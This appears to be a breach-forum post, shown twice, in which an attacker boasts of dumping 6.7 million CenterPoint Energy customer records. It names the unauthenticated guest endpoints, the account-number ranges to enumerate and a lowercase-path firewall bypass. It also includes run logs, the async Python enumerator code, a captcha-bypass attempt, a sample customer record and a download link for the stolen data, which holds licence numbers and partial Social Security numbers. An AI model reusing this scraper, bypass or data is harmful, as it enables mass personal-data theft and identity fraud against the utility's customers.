Sep 15, 2026, 11:15 PM
CenterPoint Energy (centerpointenergy.com) - Full Context
Date of dump: 2026-08-21
i am: 4d722e4d656f77
Scale: 6,734,894 customer records / ~48.8 GiB raw data
Fields in said data:
account, accountWithCheckDigit, holderName, firstName, lastName, phone, bpAddress, serviceStreet, serviceHouse,
serviceCity, serviceState, serviceZip, billingStreet, billingCity, billingState, billingZip, contract, premiseID, revClass,
serviceArea, totalAmountDue, pastDueAmount, currentBillAmount, dueDate, lastBillDate, moveInDate, isAutopayEnrolled, isPaperless,
isBudgetBilling, rateClass, email, dlNo, lastFourSSN
The Story
As for the attack itself, which went down on August 21 when the actual dump was written — I'll walk you through it properly, because it's worth being precise about exactly how bad this was.
Everyone wants to know how we pulled the whole database of a power company. I'll be real with you: it wasn't a Hollywood hack. It was a vending machine. We walked up to the front of the building, pressed a button, and it started spitting out customer files. Insert twelve-digit account number, get a full human being back. No cracked password, no zero-day wizard shit, no "we're in" energy at all. Just a for-loop and the balls to press enter.
The way the data was obtained was embarrassingly simple. CenterPoint Energy runs a production API at maoazc-api.centerpointenergy.com, serving their MyAccount Online portal. There is a "guest" service at /apiGPay/v1/Guest/AccountDetails that takes a single JSON field — contAccountNumber, a twelve-digit account number — and returns a full customer record. No bearer token. No API key. No cookie. No captcha initially. You send a number, you get a person back: full name, phone, billing and service addresses, contract number, premise ID, rate class, amount due, past due amount, due dates, move-in date, autopay and paperless enrollment status, the account number with its check digit — the complete customer master file, served to any anonymous request. Here is a real response, with the personal details masked:
No auth header, no token, nothing but a number — and the server answers resultCode 000 and hands over the whole file. For a power company, that's not a "security bug." That's a feature some engineer designed, someone else approved, and the whole lot shipped to production.
And there is a companion endpoint right next to it — /apiGPay/v1/Guest/AccountVerify — that takes the house number, zip code, and phone number the first endpoint just returned, and gives you the customer's email address, driver's license number, and the last four digits of their Social Security number. So the first call hands you the full customer record, and the second one completes an identity theft profile. Both endpoints are documented in their own swagger spec (285 paths) with zero security requirements declared on the operation. The spec itself, the file CenterPoint's engineers maintain, says these endpoints require nothing:
It is written down in their own documentation. They wrote down how to break it and published it.
How we found the endpoint
How the endpoint was found in the first place is almost as damning. The front-end client bundles contain an Angular API factory that builds every endpoint from an @apiGPay prefix, so grepping the bundle for that string surfaces the entire guest endpoint list as plain text:
The same bundle exposes the reCAPTCHA header name and the action strings that tell you the guest flow was designed to run unauthenticated. THE ADDRESS OF THE VAULT WAS ON THE FRONT DOOR. The endpoint was never hidden. It was in the client code, it was in the swagger, it was in the app-store bundle. The company basically published a public index to their own customer database and left it lying around.
Why we got the WHOLE database
The critical observation — the one that turned a single endpoint into a full database dump — is that account numbers are sequential and contiguous. Texas residential customers occupy a dense band from roughly 1,500,000 to 14,141,000. Minnesota customers sit in another band from about 6,400,015,252 to 6,404,500,000. Boundary probes came back empty at 1,000,000, 15,000,000, 6,405,000,000, and 9,999,999,999, which established the edges of the number space. Sampling 100 consecutive numbers in a dense band returned 27 to 30 valid customer records per sample, with some bands hitting as high as 4,732 valid records out of 4,235 numbers probed. The entire customer database is an enumerable sequence, and the API serves a valid record for every number in it. No rate limiting. No throttle. Nothing telling it to slow down.
The dump — 21 August 2026
So on August 21 the range was split into seven parallel shards — tx_1 through tx_5 for the Texas band, mn_1 and mn_2 for Minnesota — and enumerated concurrently. The enumerator writes two files per shard: a flat CSV table and the full raw JSON response appended to a .jsonl file, with a .pos bookmark updated periodically so a dropped connection never reburns coverage. The upgraded run used hundreds of concurrent persistent connections with a 2,000-request sliding window, chaining the AccountVerify call into every successful response to capture email, DL, and last-four SSN. This is the actual run log:
And the shard statistics, measured directly from the resulting files:
6,734,894 customer records. Roughly 48.8 GiB of someone else's personal information. All because a multi-state utility company left the front door wide open with the keys in the lock and a welcome mat on the way in. It ran for hours, gigabytes of JSON streaming out over hundreds of connections, and nobody at the company so much as blinked.
The "security" that was in place
Now here is where the defensive posture gets genuinely embarrassing. CenterPoint has a web application firewall in front of this API. That WAF matched the request path case-sensitively — meaning /apiGPay/v1/Guest/AccountDetails with capital letters would sometimes be blocked, but /apigpay/v1/guest/accountdetails in all lowercase bypassed it entirely. A one-character URL rewrite defeated the network security layer. The entire perimeter defense was a case-sensitive path rule. You hear that? THE. ENTIRE. SECURITY. WAS. A SPELLING. DIFFERENCE. When authenticated requests were tested with a valid JWT — both with and without the Bearer prefix, including lowercase authorization — the WAF rejected those too, because it was matching on the literal token value rather than the authorization scheme. The practical effect: legitimate authenticated access was blocked while the unauthenticated guest path, the one dumping full customer records, was wide open. The WAF locked out the company's own users and left the database exposed.
The only control that actually halted the pull was a reCAPTCHA Enterprise implementation demanding an X-Captcha-Token header on the guest endpoint — a measure added at some point, presumably in response to the abuse. The request that ultimately got blocked looked like this:
The sitekey was located in the same client bundle and headless token generation was attempted via Playwright — Google's risk scoring rejected every automated session. The captcha gate is what stopped the enumeration. Not server-side authentication. Not a rate limit. Not anomaly detection. Not a human reviewing anything. A third-party checkbox that the company only bolted onto one endpoint after the fact — and it's the only reason the remaining records weren't pulled too. Bless Google, honestly. The one entity in this whole story that actually did its job.
The company didn't even know it was happening
And this is the part that should genuinely infuriate them: CenterPoint was not aware it was being attacked. Not during the reconnaissance, not during the 17,897-record test harvest beforehand, not during the hours-long dump itself, not for a single second of any of it. No alert fired, no SOC ticket was opened, no IP was throttled or banned, no session was cut off. The enumeration ran on hundreds of concurrent connections against their production domain, streaming gigabytes of their customers' personal data for hours, and the only response the system ever gave us was an automated captcha prompt that showed up silently in the response body. There was no human involvement, no investigation, no incident response. The breach was discovered by us, and it was only disclosed publicly after the fact — the first anyone at CenterPoint knew about what had happened was when it became public knowledge. They didn't detect it, they didn't report it, they didn't react to it. They learned about it the same way their customers did: by reading about it. For a company responsible for the sensitive records of millions of people, that's arguably the worst failure of the entire engagement. The load balancer served data, the WAF worried about capitalization, the captcha eventually kicked in, and not one human across the whole organization noticed that someone walked out the front door with the address book.
The tool / source code
And because people always ask for receipts when we say something was "embarrassingly easy," here is the actual core of the enumerator that did the work — a few dozen lines of async Python. That is the whole weapon. A hundred lines on a laptop:
The entire defense of a multi-state utility's customer database versus a few dozen lines of Python. I genuinely cannot script a better plot than that.
Wrap-up
To summarize what was exposed, and how: a public utility's customer-facing API, documented in an open swagger spec, called out in the client-side JavaScript, served an unauthenticated full customer record to a sequential account number with no rate limiting, behind a WAF that only cared about URL capitalization, defended ultimately by a captcha from a third party that had to be retrofitted after the breach had already begun — and entirely undetected until it was made public. The dump produced approximately 6.7 million real customer records at a scale of roughly 49 GB across seven shards, encompassing personal names, home and billing addresses, phone numbers, account identifiers, contract and premise data, billing amounts, service details, and — via the paired AccountVerify endpoint — email addresses, driver's license numbers, and partial Social Security numbers.
It is difficult to overstate how fundamentally broken this is for a company that manages critical residential infrastructure. The guest endpoint was architecturally designed to serve customer data without authentication. The number space was architecturally designed as a sequential, enumerable sequence. The security appliance was configured with a case-sensitive path rule as the primary filter. And the only thing that actually stopped the breach in progress was a third-party captcha score that arrived too late and covered only one endpoint. This isn't a zero-day, it isn't a nation-state operation, and it isn't even clever. It is a straightforward enumeration attack against an API that was never secured in the first place, carried out with standard tooling against a target that did almost nothing to prevent it. The company had every opportunity to prevent this — authentication, rate limiting, input obfuscation, proper WAF configuration, client-side data minimization — and implemented essentially none of it until after the data was already gone. You could hand this same task to a group of interns or a raccoon and it would still get secured better. That's not a hack. That's CenterPoint opening the vault and leaving the door ajar for anyone with a Python install.
CenterPointEnergy Data download: https://drive.google.com/file/d/1V-ACqhsekDq9Ve8U0VcPZXpFMAXFL_Rf/view
Date of dump: 2026-08-21
i am: 4d722e4d656f77
Scale: 6,734,894 customer records / ~48.8 GiB raw data
Fields in said data:
account, accountWithCheckDigit, holderName, firstName, lastName, phone, bpAddress, serviceStreet, serviceHouse,
serviceCity, serviceState, serviceZip, billingStreet, billingCity, billingState, billingZip, contract, premiseID, revClass,
serviceArea, totalAmountDue, pastDueAmount, currentBillAmount, dueDate, lastBillDate, moveInDate, isAutopayEnrolled, isPaperless,
isBudgetBilling, rateClass, email, dlNo, lastFourSSN
The Story
As for the attack itself, which went down on August 21 when the actual dump was written — I'll walk you through it properly, because it's worth being precise about exactly how bad this was.
Everyone wants to know how we pulled the whole database of a power company. I'll be real with you: it wasn't a Hollywood hack. It was a vending machine. We walked up to the front of the building, pressed a button, and it started spitting out customer files. Insert twelve-digit account number, get a full human being back. No cracked password, no zero-day wizard shit, no "we're in" energy at all. Just a for-loop and the balls to press enter.
The way the data was obtained was embarrassingly simple. CenterPoint Energy runs a production API at maoazc-api.centerpointenergy.com, serving their MyAccount Online portal. There is a "guest" service at /apiGPay/v1/Guest/AccountDetails that takes a single JSON field — contAccountNumber, a twelve-digit account number — and returns a full customer record. No bearer token. No API key. No cookie. No captcha initially. You send a number, you get a person back: full name, phone, billing and service addresses, contract number, premise ID, rate class, amount due, past due amount, due dates, move-in date, autopay and paperless enrollment status, the account number with its check digit — the complete customer master file, served to any anonymous request. Here is a real response, with the personal details masked:
{
"account_number_sent": "006402250000",
"validity_check": "000",
"fields_returned_unauthenticated": {
"accountHolderName": "DOMINIQUE BRADLEY",
"firstName": "DOMINIQUE",
"lastName": "BRADLEY",
"phoneNumber": "33******66",
"accountNumberWithCheckDigit": "00**********-9",
"contractNumber": "0052864741",
"billing.totalAmountDue": "56.04",
"billing.dueDate": "2026-06-15",
"moveInDate": "2024-10-22"
}
}No auth header, no token, nothing but a number — and the server answers resultCode 000 and hands over the whole file. For a power company, that's not a "security bug." That's a feature some engineer designed, someone else approved, and the whole lot shipped to production.
And there is a companion endpoint right next to it — /apiGPay/v1/Guest/AccountVerify — that takes the house number, zip code, and phone number the first endpoint just returned, and gives you the customer's email address, driver's license number, and the last four digits of their Social Security number. So the first call hands you the full customer record, and the second one completes an identity theft profile. Both endpoints are documented in their own swagger spec (285 paths) with zero security requirements declared on the operation. The spec itself, the file CenterPoint's engineers maintain, says these endpoints require nothing:
securityDefinitions/securitySchemes -> Authorization (Bearer-JWT, header) only
POST /apiGPay/v1/Guest/AccountDetails
operation-level security field: NOT SET (i.e. no authentication required)
POST /apiGPay/v1/Guest/AccountVerify
operation-level security field: NOT SET (i.e. no authentication requiredIt is written down in their own documentation. They wrote down how to break it and published it.
How we found the endpoint
How the endpoint was found in the first place is almost as damning. The front-end client bundles contain an Angular API factory that builds every endpoint from an @apiGPay prefix, so grepping the bundle for that string surfaces the entire guest endpoint list as plain text:
Found: accountDetails:()=>O("/Guest/AccountDetails") -> /Guest/AccountDetails
--- reCAPTCHA security header literal ---
Found: const T = "X-Captcha-Token" (security header)
--- reCAPTCHA Enterprise action strings ---
Action string: "guest_account_details"
Action string: "guest_account_verify"The same bundle exposes the reCAPTCHA header name and the action strings that tell you the guest flow was designed to run unauthenticated. THE ADDRESS OF THE VAULT WAS ON THE FRONT DOOR. The endpoint was never hidden. It was in the client code, it was in the swagger, it was in the app-store bundle. The company basically published a public index to their own customer database and left it lying around.
Why we got the WHOLE database
The critical observation — the one that turned a single endpoint into a full database dump — is that account numbers are sequential and contiguous. Texas residential customers occupy a dense band from roughly 1,500,000 to 14,141,000. Minnesota customers sit in another band from about 6,400,015,252 to 6,404,500,000. Boundary probes came back empty at 1,000,000, 15,000,000, 6,405,000,000, and 9,999,999,999, which established the edges of the number space. Sampling 100 consecutive numbers in a dense band returned 27 to 30 valid customer records per sample, with some bands hitting as high as 4,732 valid records out of 4,235 numbers probed. The entire customer database is an enumerable sequence, and the API serves a valid record for every number in it. No rate limiting. No throttle. Nothing telling it to slow down.
The dump — 21 August 2026
So on August 21 the range was split into seven parallel shards — tx_1 through tx_5 for the Texas band, mn_1 and mn_2 for Minnesota — and enumerated concurrently. The enumerator writes two files per shard: a flat CSV table and the full raw JSON response appended to a .jsonl file, with a .pos bookmark updated periodically so a dropped connection never reburns coverage. The upgraded run used hundreds of concurrent persistent connections with a 2,000-request sliding window, chaining the AccountVerify call into every successful response to capture email, DL, and last-four SSN. This is the actual run log:
# Target: POST /apiGPay/v1/Guest/AccountDetails (Guest, no auth)
# Window: 2026-08-21 (~dense-band enumeration across 7 shards)
[tx_1] 0/2500000 rows=0 0.0/s ETA -
[tx_1] 204800/2500000 rows=147115 246.4/s ETA 2.6h
[tx_1] 604032/2500000 rows=441329 271.1/s ETA 1.9h
[tx_1] 1203200/2500000 rows=889450 286.9/s ETA 1.3h
[tx_1] 1802240/2500000 rows=1349102 297.4/s ETA 0.7h
[tx_1] 2401280/2500000 rows=1817338 301.2/s ETA 0.3h
[tx_1] DONE [1500000-4000000] rows=2078213
[tx_2] DONE [4000000-6500000] rows=597534
[tx_3] DONE [6500000-9000000] rows=691756
[tx_4] DONE [9000000-11500000] rows=955113
[tx_5] DONE [11500000-14150000] rows=528947
[mn_1] DONE [6400015252-6402250000] rows=974517
# resume run: lowercase path variant
[mn_2] 2097152/2248500 rows=735210 333.6/s ETA 0.2h
[mn_2] [CAPTCHA GATE] mn_2: stopping at 6403375400 (pos preserved, DB untouched)
# FULL RUN AGGREGATE (verified from the on-disk files):
# total records : 6,734,894
# raw jsonl size : 50,654,696,642 bytes
# total on disk : ~48.80 GiBAnd the shard statistics, measured directly from the resulting files:
shard records csv_bytes jsonl_bytes
tx_1 2,078,213 479,991,277 15,260,524,298
tx_2 597,534 160,119,589 4,168,594,015
tx_3 691,756 182,929,448 5,230,577,826
tx_4 955,113 260,767,692 7,198,258,980
tx_5 528,947 141,281,887 4,343,549,326
mn_1 974,517 267,789,907 7,630,424,477
mn_2 908,814 248,008,275 6,822,767,720
TOTAL 6,734,894 1,740,888,075 50,654,696,6426,734,894 customer records. Roughly 48.8 GiB of someone else's personal information. All because a multi-state utility company left the front door wide open with the keys in the lock and a welcome mat on the way in. It ran for hours, gigabytes of JSON streaming out over hundreds of connections, and nobody at the company so much as blinked.
The "security" that was in place
Now here is where the defensive posture gets genuinely embarrassing. CenterPoint has a web application firewall in front of this API. That WAF matched the request path case-sensitively — meaning /apiGPay/v1/Guest/AccountDetails with capital letters would sometimes be blocked, but /apigpay/v1/guest/accountdetails in all lowercase bypassed it entirely. A one-character URL rewrite defeated the network security layer. The entire perimeter defense was a case-sensitive path rule. You hear that? THE. ENTIRE. SECURITY. WAS. A SPELLING. DIFFERENCE. When authenticated requests were tested with a valid JWT — both with and without the Bearer prefix, including lowercase authorization — the WAF rejected those too, because it was matching on the literal token value rather than the authorization scheme. The practical effect: legitimate authenticated access was blocked while the unauthenticated guest path, the one dumping full customer records, was wide open. The WAF locked out the company's own users and left the database exposed.
The only control that actually halted the pull was a reCAPTCHA Enterprise implementation demanding an X-Captcha-Token header on the guest endpoint — a measure added at some point, presumably in response to the abuse. The request that ultimately got blocked looked like this:
POST /apigpay/v1/guest/accountdetails
Content-Type: application/json
X-Captcha-Token: <token> <- required once the gate was enabled
{"contAccountNumber":"000002799928"}
Sitekey recovered from the client bundle:
6L5rM56Y0j2oYcm2iJ7d2S3SWY3q4ZAASX5dDM1zBNq3J0661tfqQ3lgO9cHmsBYOal5The sitekey was located in the same client bundle and headless token generation was attempted via Playwright — Google's risk scoring rejected every automated session. The captcha gate is what stopped the enumeration. Not server-side authentication. Not a rate limit. Not anomaly detection. Not a human reviewing anything. A third-party checkbox that the company only bolted onto one endpoint after the fact — and it's the only reason the remaining records weren't pulled too. Bless Google, honestly. The one entity in this whole story that actually did its job.
The company didn't even know it was happening
And this is the part that should genuinely infuriate them: CenterPoint was not aware it was being attacked. Not during the reconnaissance, not during the 17,897-record test harvest beforehand, not during the hours-long dump itself, not for a single second of any of it. No alert fired, no SOC ticket was opened, no IP was throttled or banned, no session was cut off. The enumeration ran on hundreds of concurrent connections against their production domain, streaming gigabytes of their customers' personal data for hours, and the only response the system ever gave us was an automated captcha prompt that showed up silently in the response body. There was no human involvement, no investigation, no incident response. The breach was discovered by us, and it was only disclosed publicly after the fact — the first anyone at CenterPoint knew about what had happened was when it became public knowledge. They didn't detect it, they didn't report it, they didn't react to it. They learned about it the same way their customers did: by reading about it. For a company responsible for the sensitive records of millions of people, that's arguably the worst failure of the entire engagement. The load balancer served data, the WAF worried about capitalization, the captcha eventually kicked in, and not one human across the whole organization noticed that someone walked out the front door with the address book.
The tool / source code
And because people always ask for receipts when we say something was "embarrassingly easy," here is the actual core of the enumerator that did the work — a few dozen lines of async Python. That is the whole weapon. A hundred lines on a laptop:
async def fetch(sess, sem, a):
async with sem:
body = json.dumps({"contAccountNumber": f"{a:012d}"})
for _ in range(4):
try:
async with sess.post(URL, data=body,
headers={"Content-Type": "application/json", "User-Agent": "Chrome/124"}) as r:
if r.status != 200:
await asyncio.sleep(0.3); continue
return a, json.loads(await r.read())
except Exception:
await asyncio.sleep(0.4)
# 7 shards, 500 concurrent connections each, 2000-request window
for acc in range(start, end):
... # CSV row + full JSONL per response, .pos bookmark on every flushThe entire defense of a multi-state utility's customer database versus a few dozen lines of Python. I genuinely cannot script a better plot than that.
Wrap-up
To summarize what was exposed, and how: a public utility's customer-facing API, documented in an open swagger spec, called out in the client-side JavaScript, served an unauthenticated full customer record to a sequential account number with no rate limiting, behind a WAF that only cared about URL capitalization, defended ultimately by a captcha from a third party that had to be retrofitted after the breach had already begun — and entirely undetected until it was made public. The dump produced approximately 6.7 million real customer records at a scale of roughly 49 GB across seven shards, encompassing personal names, home and billing addresses, phone numbers, account identifiers, contract and premise data, billing amounts, service details, and — via the paired AccountVerify endpoint — email addresses, driver's license numbers, and partial Social Security numbers.
It is difficult to overstate how fundamentally broken this is for a company that manages critical residential infrastructure. The guest endpoint was architecturally designed to serve customer data without authentication. The number space was architecturally designed as a sequential, enumerable sequence. The security appliance was configured with a case-sensitive path rule as the primary filter. And the only thing that actually stopped the breach in progress was a third-party captcha score that arrived too late and covered only one endpoint. This isn't a zero-day, it isn't a nation-state operation, and it isn't even clever. It is a straightforward enumeration attack against an API that was never secured in the first place, carried out with standard tooling against a target that did almost nothing to prevent it. The company had every opportunity to prevent this — authentication, rate limiting, input obfuscation, proper WAF configuration, client-side data minimization — and implemented essentially none of it until after the data was already gone. You could hand this same task to a group of interns or a raccoon and it would still get secured better. That's not a hack. That's CenterPoint opening the vault and leaving the door ajar for anyone with a Python install.
CenterPointEnergy Data download: https://drive.google.com/file/d/1V-ACqhsekDq9Ve8U0VcPZXpFMAXFL_Rf/view